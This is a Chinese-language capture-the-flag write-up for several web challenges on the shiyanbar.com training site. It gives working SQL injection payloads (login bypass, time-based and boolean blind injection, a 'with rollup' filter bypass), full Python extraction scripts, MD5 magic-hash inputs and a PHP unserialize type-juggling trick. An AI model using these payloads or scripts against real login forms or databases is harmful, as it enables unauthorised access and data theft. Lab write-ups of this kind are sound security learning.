實驗吧 CTF
登入一下好嗎
->運算子叫做“指向結構體成員運算子”,是C語言和C++語言的一個運算子,用處是使用一個指向結構體或物件的指標訪問其內成員。
登入 使用者名稱-> ‘=’
密碼-> ‘=’
那麼正常執行的SQL語句就是
select * from 表 where username = “$_POST[‘userneme’]” and password = “$_POST[‘password’]”;
那我們登入執行的SQL語句
select * from 表 where username = “‘‘=’’” and password = “‘‘=’’”;
“‘‘=’’”始終成立,NULL=NULL,就相當於
select * from 表 where 1 and 1;
who are you?
時間盲注,在X-forwarded-for引數中。
主要還是SQL語句的理解:
‘+”+”(select case when (substring((select flag from flag ) from %d for 1 )=’%s’) then sleep(5) else 1 end ) and ‘1’=’1
單引號閉合,後面都是條件子句,
case when then else end
substring
() from for
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
#引用 模組包
import requests
import string
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]
flag = ""
for i in range(1,33):
for str in guess:
headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)}
try:
res=requests.get(url,headers=headers,timeout=4)
except requests.exceptions.ReadTimeout, e:
flag = flag + str
print "flag:", flag
break
print 'result:' + flag
天網管理系統
原始碼,提示:<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
科學計數法:0exxx就是0
MD5值,0e開頭:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
進入/user.php?fame=hjkleffifer
提示$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
{ print_r($flag); }
偉大的科學家php方言道:成也布林,敗也布林。 回去吧騷年
serialize函式 序列化
本地php構造
<?php
$array1 = array('user' => true,'pass'=>true);
print_r(serialize($array1))
?>
得到“a:2:{s:4:”user”;b:1;s:4:”pass”;b:1;}”
完工:ctf{dwduwkhduw5465}
因缺思汀的繞過
原始碼,提示:<!--source: source.txt-->
原始碼
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可載舟,亦可賽艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可賽艇!";
}
}else{
print "一顆賽艇!";
}
mysql_close($con);
?>
有兩個if巢狀
(mysql_num_rows($query) == 1)
($key['pwd'] == $_POST['pwd'])
那就繞過唄!返回行數為1,那就limit 1
pwd我們不知道 利用
group by 列名 with rollup ……offset 數字
數字只能挨個試,最後一個即可。
’or 1 group by pwd with rollup limit 1 offset 2#
CTF{with_rollup_interesting}
python:
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
#引用 模組包
# -*- coding:utf-8 -*-
import requests
import string
url = "http://ctf5.shiyanbar.com/web/pcat/index.php"
#(!isset($_POST['uname']) || !isset($_POST['pwd']))
payload = {'uname':"'or 1 group by pwd with rollup limit 1 offset 2#",'pwd':""}
# print payload['uname'].decode("utf-8")
res = requests.post(url,data=payload)
print res.text
雖然pwd為空,傳參也必須加入字典。
簡單的sql注入之3
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
'''Risk2S'''
import requests
import string
string = string.digits+string.ascii_lowercase
#爆破的基礎字元
flag = []
FLAG = False
def POC(x,i):
url = 'http://ctf5.shiyanbar.com/web/index_3.php?id='
poc = "1'and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23" % (x, i)
res = requests.get(url+poc)
#print('testing url:' + url + poc) # test...
if res.headers['Content-Length'] == '471':
return 1
else:
return 0
for x in range(1, 35):
for i in range(32, 129): # ascii碼可見字元32-127
if POC(x, i):
flag.append(chr(i)) # chr()將整數轉為對應的ascii碼字元
break
elif i == 128: # 當該位flag沒有匹配的字元時退出迴圈
FLAG = True
if FLAG:
break
# 以字串的形式輸出結果
get_flag = ''
for i in flag:
get_flag += i
print get_flag
payload就是
1’and+ascii(substr((select+flag+from+flag)%%2C%d%%2C1))%%3D%d%%23
1’and+ascii(substr((select+flag+from+flag),%d,1))=%d#(x,i)
判斷第一到第35個字元的ascii碼分別是32-127中的哪一個,再轉換成字元輸出到flag
flag{[email protected]_5O_dAmn_90Od}
相關推薦
實驗吧CTF題庫-隱寫術
打不開 nba car src lag 下載圖片 div key 查看 Spamcarver: 用kali下載圖片 root@sch01ar:~# wget http://ctf5.shiyanbar.com/stega/spamcarver/spamcarver.jpg
實驗吧CTF who are you?基於時間盲註
請求 .get head 輸入 pytho 知識 request quest lee 這是我第三次接觸時間盲註,所以就寫一個博文和大家分享一下,還能檢驗我對知識的掌握程度。?( ′???` ) 點開網址是把你的真實IP地址打印出來!然後立馬看網頁源代碼什麽發現都沒有! 現
實驗吧-CTF-web-忘記密碼了&&這個看起來有點簡單 (學習筆記)
實驗環境 firefox BurpsuitePro-v1.6 sqlmap(kali) 忘記密碼了 題目為一個連結 開啟是一個輸入郵箱接收重置密碼的網頁,檢視原始碼發現管理員郵箱,vim格式,可能會有一個備份檔案.swp,還有一個重置密碼連結 構造一下url,改為http
實驗吧-CTF-web-頭有點大&&貌似有點難&&看起來有點難(學習筆記)
實驗環境 sqlmap(kali2.0) BurpsuitePro-v1.6 firefox 頭有點大 題目連結:http://www.shiyanbar.com/ctf/29 打開發現說缺少 .net framework9.9,但是沒有9.9版本,還要求在英格蘭地區
實驗吧 ctf 簡單的sql注入3
解題連結: http://ctf5.shiyanbar.com/web/index_3.php id=1為注入點 http://ctf5.shiyanbar.com/web/index_3.php?id=1然後就用sqlmap來跑一下 結果能出答案 我也是抱著嘗試的態度
實驗吧CTF題庫 bin100(ebCTF 2013) 利用OD進行逆向破解
分析: 首先我們執行開啟的程式,發現是一個按回車鍵然後生成一個骰子個數的遊戲,試驗了兩下,發現可能要很多步才能得出最終答案,所以需要我們對這個程式破解然後跳過這個驗證環節。 1.使用PEID載入分析
實驗吧CTF題目之疑惑的漢字(1876)
對於這種題,唯一的方法就是積累;見得多了也就不覺得奇怪了; 題目給出了密文,分析密文發現這些漢字沒有什麼特殊的含義;那就從他的結構來分析;你會發現他們特別符合當鋪密碼的結構; 什麼是當鋪密碼?當鋪密
實驗吧CTF題目之抓到你了(代號:1813)
開啟解題連結,他需要你下載一個檔案,下載完成後你會發現是一個pcap為字尾的檔案,果斷用wireshark開啟進行資料分析; 題目中有給的提示:入侵者是通過ping工具進行掃描的。而ping命令使用的是ICMP協議,所以在過濾器中填寫icmp; 有5個數據包,分別檢視他
實驗吧CTF天網管理系統
天網你敢來挑戰嘛 格式:ctf{ } 解題連結: http://ctf5.shiyanbar.com/10/web1/ 開啟連結後,嗯,光明正大的放出賬號密碼,肯定是登不進的,檢視原始碼 看來是和md5碰撞有關的了, PHP在處理雜湊字串時,會利用”!=”或”
西普實驗吧CTF-分數拆分
題目描述: 存在這樣的一個等式,1/400=1/x+1/2y,(x>y)。你的任務就是求出共有多少對這樣的正整數x和y,使得該等式成立。(提示:你只需要求出有多少對,而不必輸出這些X,Y對具體是
實驗吧CTF刷題記錄(web篇)
5.程式邏輯問題 繞過 if($_POST[user] && $_POST[pass]) { $conn = mysql_connect("********, "*****", "********"); mysql_select_db("phpformysql") or die
實驗吧ctf
1/登陸一下好嗎?? http://ctf5.shiyanbar.com/web/wonderkun/web/index.html =' =' ctf{51d1bf8fb65a8c2406513ee8f52283e7} import r
實驗吧ctf題庫:這個看起來有點簡單!
這是一道十分基礎的web題目,因為我也是剛剛接觸ctf,記錄一下第一道題的解題過程,算是自己的一個回顧吧,同時也給一些想要入門的朋友一點點微弱的參考吧。一、sqlmap的安裝 在windows下安裝sqlmap需要先下載適用windows的sqlma
實驗吧CTF刷題記錄(web篇二)
8.上傳繞過 直接上傳.php會被攔截。嘗試上傳圖片馬,能上傳但不符合題目要求。 嘗試bp抓包改字尾名無果,並非在客戶端javascript驗證。 嘗試截斷路徑繞過,上傳1.jpg檔案,bp抓包,路徑upload後新增1.php空格,將hex中空格20改為00,forw
實驗吧CTF題庫 上傳繞過題解 0x00截斷
題目地址:http://www.shiyanbar.com/ctf/1781分析:首先隨便提交一個檔案,提示要上傳jpg png或者gif格式的檔案,然後上傳一個jpg檔案以後,出現如下提示:提示要上傳php字尾的檔案,於是我們考慮採用burpsuite抓包,然後使用0x00
實驗吧 CTF
登入一下好嗎 ->運算子叫做“指向結構體成員運算子”,是C語言和C++語言的一個運算子,用處是使用一個指向結構體或物件的指標訪問其內成員。 登入 使用者名稱-> ‘=’ 密碼-> ‘=’ 那麼正常執行的SQL語句就是 sel
實驗吧 ctf 題目簡單的sql注入2writeup
1.輸入id值,通過回顯發現題目應該是進行了空格過濾 2.使用sqlmap進行注入 2.1 python sqlmap.py -u "http://ctf5.shiyanbar.com/web/index_2.php?id=1" --random-agent
實驗吧-CTF-web-忘記密碼了&&這個看起來有點簡單 (學習筆記)
實驗環境 firefox BurpsuitePro-v1.6 sqlmap(kali) 忘記密碼了 題目為一個連結 開啟是一個輸入郵箱接收重置密碼的網頁,檢視原始碼發現管理員郵箱,vim格式,可能會有一個備份檔案.swp,還有一個重置密碼連結 構造一下url
實驗吧CTF-Who are you?
Who are you 題目: 我要把攻擊我的人都記錄db中去! 格式ctf{} 解題: 訪問連結,頁面顯示your IP is XX.XX.XX.XX,知道這是一個關於IP偽造。 嘗試各種偽造IP的HTTP頭: X-Forwarded-For Cli
實驗吧-ctf-misc
1.歡迎來到地獄 用winhex對第一個jpg檔案補頭,獲取網址https://pan.baidu.com/s/1i49Jhlj,開啟得到音樂檔案,用Audacity開啟獲取摩斯電碼,破解,獲得密碼KEYLETUSGO,開啟word文件,檢視隱藏字元獲得image steg